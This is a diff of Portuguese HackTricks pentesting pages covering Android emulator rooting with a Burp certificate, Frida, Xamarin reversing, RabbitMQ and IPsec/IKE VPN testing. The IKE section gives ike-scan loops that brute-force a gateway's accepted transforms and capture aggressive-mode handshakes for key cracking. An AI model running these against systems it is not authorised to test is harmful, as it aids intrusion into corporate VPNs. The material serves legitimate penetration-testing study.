* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -212,7 +212,7 @@ Se você baixou um dispositivo com a Play Store, não será possível obter aces
$ adb root $ adb root
adbd cannot run as root in production builds adbd cannot run as root in production builds
``` ```
Usando [rootAVD](https://github.com/newbit1/rootAVD) com [Magisk](https://github.com/topjohnwu/Magisk), consegui fazer o root (siga, por exemplo, [**este vídeo**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**este**](https://www.youtube.com/watch?v=qQicUW0svB8)). Usando o [rootAVD](https://github.com/newbit1/rootAVD) com o [Magisk](https://github.com/topjohnwu/Magisk), consegui fazer o root dele (siga, por exemplo, [**este vídeo**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**este**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Instalar o certificado Burp em uma Máquina Virtual ## Instalar o certificado Burp em uma Máquina Virtual
@ -254,13 +254,13 @@ Explicado neste [**vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8), você
1. **Instalar um certificado CA**: Basta **arrastar e soltar** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que ele seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA` 1. **Instalar um certificado CA**: Basta **arrastar e soltar** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que ele seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
<figure><img src="../../.gitbook/assets/image.png" alt="" width="164"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Verifique se o certificado foi armazenado corretamente indo para `Credenciais confiáveis` -> `USUÁRIO` * Verifique se o certificado foi armazenado corretamente indo para `Credenciais confiáveis` -> `USUÁRIO`
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="334"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte-o** no telefone, vá para o aplicativo **Magics** no telefone para a seção **`Módulos`**, clique em **`Instalar a partir do armazenamento`**, selecione o módulo `.zip` e uma vez instalado, **reinicie** o telefone: 2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no telefone, vá para o aplicativo **Magics** no telefone na seção **`Módulos`**, clique em **`Instalar a partir do armazenamento`**, selecione o módulo `.zip` e uma vez instalado, **reinicie** o telefone:
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="345"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2).png" alt="" width="345"><figcaption></figcaption></figure>

View file

@ -8,13 +8,13 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -26,7 +26,7 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
Frida permite que você **insira código JavaScript** dentro de funções de um aplicativo em execução. Mas você pode usar **python** para **chamar** os hooks e até mesmo **interagir** com os **hooks**. Frida permite que você **insira código JavaScript** dentro de funções de um aplicativo em execução. Mas você pode usar **python** para **chamar** os hooks e até mesmo **interagir** com os **hooks**.
Este é um script python fácil que você pode usar com todos os exemplos propostos neste tutorial: Este é um script python simples que você pode usar com todos os exemplos propostos neste tutorial:
```python ```python
#hooking.py #hooking.py
import frida, sys import frida, sys
@ -133,7 +133,7 @@ Você pode ver isso no [próximo tutorial](frida-tutorial-2.md).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -34,7 +34,7 @@ Ele é executado junto com o Objective-C Runtime. Os ambientes de execução sã
O diagrama abaixo representa essa arquitetura: O diagrama abaixo representa essa arquitetura:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### O que é o .Net Runtime e o Mono Framework? ### O que é o .Net Runtime e o Mono Framework?
@ -63,7 +63,7 @@ Existem duas opções para compilar código Xamarin baseado em C# em um aplicati
\- **iOS**: Existe apenas uma opção no caso do iOS, **compilação ahead-of-time**. Isso ocorre devido às políticas da Apple, que proíbem a execução de código gerado dinamicamente em um dispositivo. \- **iOS**: Existe apenas uma opção no caso do iOS, **compilação ahead-of-time**. Isso ocorre devido às políticas da Apple, que proíbem a execução de código gerado dinamicamente em um dispositivo.
{% hint style="info" %} {% hint style="info" %}
Se você encontrar um aplicativo compilado com AOT completo e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a reversão exigirá uma etapa extra de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com AOT híbrido e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo. Se você encontrar um aplicativo compilado com AOT completo e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a reversão exigirá uma etapa extra de extração de arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com AOT híbrido e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
{% endhint %} {% endhint %}
## Obtendo os arquivos dll do APK/IPA ## Obtendo os arquivos dll do APK/IPA
@ -71,7 +71,7 @@ Basta **descompactar o arquivo apk/ipa** e copiar todos os arquivos presentes no
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
No caso dos APKs do Android, esses arquivos dll estão **compactados** e não podem ser diretamente usados para descompilação. Felizmente, existem ferramentas disponíveis que podemos usar para **descompactar esses arquivos dll**, como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress). No caso dos APKs do Android, esses arquivos dll estão **compactados** e não podem ser diretamente usados para descompilação. Felizmente, existem ferramentas disponíveis que podemos usar para **descompactar esses arquivos dll**, como o [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e o [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
``` ```
python3 xamarin-decompress.py -o /path/to/decompressed/apk python3 xamarin-decompress.py -o /path/to/decompressed/apk
``` ```

View file

@ -12,7 +12,7 @@
</details> </details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -22,7 +22,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
Você pode aprender mais sobre o RabbitMQ em [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ Você pode aprender mais sobre o RabbitMQ em [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
Nesta porta, você pode encontrar o console web do RabbitMQ Management se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado.\ Nesta porta, você pode encontrar o console web do RabbitMQ Management se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado.\
A página principal deve se parecer com isso: A página principal deve parecer assim:
![](<../.gitbook/assets/image (270).png>) ![](<../.gitbook/assets/image (270).png>)
@ -56,7 +56,7 @@ Content-Length: 267
* `port:15672 http` * `port:15672 http`
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -66,7 +66,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,16 +1,38 @@
# Informações Básicas # 500/udp - Pentesting IPsec/IKE VPN
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (674).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Informações básicas
IPsec é a tecnologia mais comumente usada tanto para soluções de VPN empresarial gateway-to-gateway (LAN-to-LAN) quanto para host-to-gateway (acesso remoto). IPsec é a tecnologia mais comumente usada tanto para soluções de VPN empresarial gateway-to-gateway (LAN-to-LAN) quanto para host-to-gateway (acesso remoto).
**IKE é um tipo de implementação ISAKMP** (Internet Security Association Key Management Protocol), que é um framework para autenticação e troca de chaves. O IKE estabelece a associação de segurança (SA) entre dois pontos finais por meio de um processo de três fases: **IKE é um tipo de implementação ISAKMP** (Internet Security Association Key Management Protocol), que é um framework para autenticação e troca de chaves. O IKE estabelece a associação de segurança (SA) entre dois pontos finais por meio de um processo de três fases:
* **Fase 1:** Estabelecer um canal seguro entre 2 pontos finais usando uma chave pré-compartilhada (PSK) ou certificados. Pode usar o modo principal (3 pares de mensagens) ou **modo agressivo**. * **Fase 1:** Estabelecer um canal seguro entre 2 pontos finais usando uma Chave Pré-Compartilhada (PSK) ou certificados. Pode usar o modo principal (3 pares de mensagens) ou **modo agressivo**.
* **Fase 1.5:** Isso é opcional, é chamado de Fase de Autenticação Estendida e autentica o usuário que está tentando se conectar (usuário+senha). * **Fase 1.5:** Isso é opcional, é chamado de Fase de Autenticação Estendida e autentica o usuário que está tentando se conectar (usuário+senha).
* **Fase 2:** Negocia o parâmetro para a segurança dos dados usando ESP e AH. Pode usar um algoritmo diferente do usado na fase 1 (Perfect Forward Secrecy (PFS)). * **Fase 2:** Negocia os parâmetros para a segurança dos dados usando ESP e AH. Pode usar um algoritmo diferente do usado na fase 1 (Perfect Forward Secrecy (PFS)).
**Porta padrão:** 500/udp **Porta padrão:** 500/udp
# **Descubra** o serviço usando nmap ## **Descubra** o serviço usando nmap
``` ```
root@bt:~# nmap -sU -p 500 172.16.21.200 root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
@ -20,45 +42,45 @@ PORT STATE SERVICE
500/udp open isakmp 500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
``` ```
# **Encontrando uma transformação válida** ## **Encontrando uma transformação válida**
A configuração do IPSec pode ser preparada apenas para aceitar uma ou algumas transformações. Uma transformação é uma combinação de valores. **Cada transformação** contém um número de atributos como DES ou 3DES como o **algoritmo de criptografia**, SHA ou MD5 como o **algoritmo de integridade**, uma chave pré-compartilhada como o tipo de **autenticação**, Diffie-Hellman 1 ou 2 como o algoritmo de **distribuição de chave** e 28800 segundos como o **tempo de vida**. A configuração do IPSec pode ser preparada apenas para aceitar uma ou algumas transformações. Uma transformação é uma combinação de valores. **Cada transformação** contém um número de atributos como DES ou 3DES como o algoritmo de **criptografia**, SHA ou MD5 como o algoritmo de **integridade**, uma chave pré-compartilhada como o tipo de **autenticação**, Diffie-Hellman 1 ou 2 como o algoritmo de **distribuição de chaves** e 28800 segundos como o **tempo de vida**.
Então, a primeira coisa que você tem que fazer é **encontrar uma transformação válida**, para que o servidor converse com você. Para fazer isso, você pode usar a ferramenta **ike-scan**. Por padrão, o Ike-scan funciona no modo principal e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposta com **oito transformações dentro dela**. Então, a primeira coisa que você precisa fazer é **encontrar uma transformação válida**, para que o servidor possa se comunicar com você. Para fazer isso, você pode usar a ferramenta **ike-scan**. Por padrão, o Ike-scan funciona no modo principal e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposta com **oito transformações dentro dela**.
Dependendo da resposta, você pode obter algumas informações sobre o endpoint: Dependendo da resposta, você pode obter algumas informações sobre o ponto de extremidade:
``` ```
root@bt:~# ike-scan -M 172.16.21.200 root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned 172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401) HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
``` ```
Como você pode ver na resposta anterior, há um campo chamado **AUTH** com o valor **PSK**. Isso significa que a VPN está configurada usando uma chave pré-compartilhada (e isso é realmente bom para um pentester).\ Como você pode ver na resposta anterior, há um campo chamado **AUTH** com o valor **PSK**. Isso significa que a VPN está configurada usando uma chave pré-compartilhada (e isso é realmente bom para um pentester).\
**O valor da última linha também é muito importante:** **O valor da última linha também é muito importante:**
* _0 handshake retornado; 0 notificação retornada:_ Isso significa que o alvo **não é um gateway IPsec**. * _0 returned handshake; 0 returned notify:_ Isso significa que o alvo **não é um gateway IPsec**.
* _**1 handshake retornado; 0 notificação retornada:**_ Isso significa que o **alvo está configurado para IPsec e está disposto a realizar a negociação IKE, e uma ou mais das transformações que você propôs são aceitáveis** (uma transformação válida será mostrada na saída). * _**1 returned handshake; 0 returned notify:**_ Isso significa que o **alvo está configurado para IPsec e está disposto a realizar a negociação IKE, e uma ou mais das transformações propostas são aceitáveis** (uma transformação válida será mostrada na saída).
* _0 handshake retornado; 1 notificação retornada:_ Os gateways VPN respondem com uma mensagem de notificação quando **nenhuma das transformações é aceitável** (embora alguns gateways não o façam, nesse caso, uma análise adicional e uma proposta revisada devem ser tentadas). * _0 returned handshake; 1 returned notify:_ Os gateways VPN respondem com uma mensagem de notificação quando **nenhuma das transformações é aceitável** (embora alguns gateways não o façam, nesse caso, uma análise adicional e uma proposta revisada devem ser tentadas).
Então, neste caso, já temos uma transformação válida, mas se você estiver no terceiro caso, precisa **fazer um pouco de força bruta para encontrar uma transformação válida:** Então, neste caso, já temos uma transformação válida, mas se você estiver no terceiro caso, então você precisa **fazer um pouco de força bruta para encontrar uma transformação válida:**
Em primeiro lugar, você precisa criar todas as transformações possíveis: Primeiro, você precisa criar todas as transformações possíveis:
```bash ```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
``` ```
E então fazer brute-force em cada um usando o ike-scan (isso pode levar vários minutos): E então faça uma tentativa de força bruta em cada um usando o ike-scan (isso pode levar vários minutos):
```bash ```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
Se a força bruta não funcionou, talvez o servidor esteja respondendo sem apertos de mão mesmo para transformações válidas. Nesse caso, você pode tentar a mesma força bruta, mas usando o modo agressivo: Se a tentativa de força bruta não funcionou, talvez o servidor esteja respondendo sem realizar handshakes, mesmo para transformações válidas. Nesse caso, você pode tentar a mesma abordagem de força bruta, mas utilizando o modo agressivo:
```bash ```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
Felizmente, **uma transformação válida é ecoada de volta**.\ Esperançosamente, **uma transformação válida é retornada**.\
Você pode tentar **o mesmo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ Você pode tentar **o mesmo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Você também pode tentar forçar transformações com [**ikeforce**](https://github.com/SpiderLabs/ikeforce): Você também pode tentar forçar transformações com [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash ```bash
@ -66,14 +88,14 @@ Você também pode tentar forçar transformações com [**ikeforce**](https://gi
``` ```
![](<../.gitbook/assets/image (109).png>) ![](<../.gitbook/assets/image (109).png>)
No **Grupo DH: 14 = MODP de 2048 bits** e **15 = 3072 bits**\ No **Grupo DH: 14 = 2048-bit MODP** e **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (neste caso). O formato --trans é $Enc,$Hash,$Auth,$DH** **2 = HMAC-SHA = SHA1 (neste caso). O formato --trans é $Enc,$Hash,$Auth,$DH**
A Cisco recomenda evitar especialmente os grupos DH 1 e 2. Os autores do artigo descrevem como é provável que **estados-nação possam decifrar sessões IPsec negociadas usando grupos fracos via pré-computação de log discreto**. Os centenas de milhões de dólares gastos na pré-computação são amortizados através da decodificação em tempo real de qualquer sessão usando um grupo fraco (1.024 bits ou menor). A Cisco recomenda evitar especialmente os grupos DH 1 e 2. Os autores do artigo descrevem como é provável que **estados-nação possam descriptografar sessões IPsec negociadas usando grupos fracos por meio de pré-computação de log discreto**. Os centenas de milhões de dólares gastos na pré-computação são amortizados por meio da descriptografia em tempo real de qualquer sessão usando um grupo fraco (1.024 bits ou menor).
## Fingerprinting do servidor ### Fingerprinting do servidor
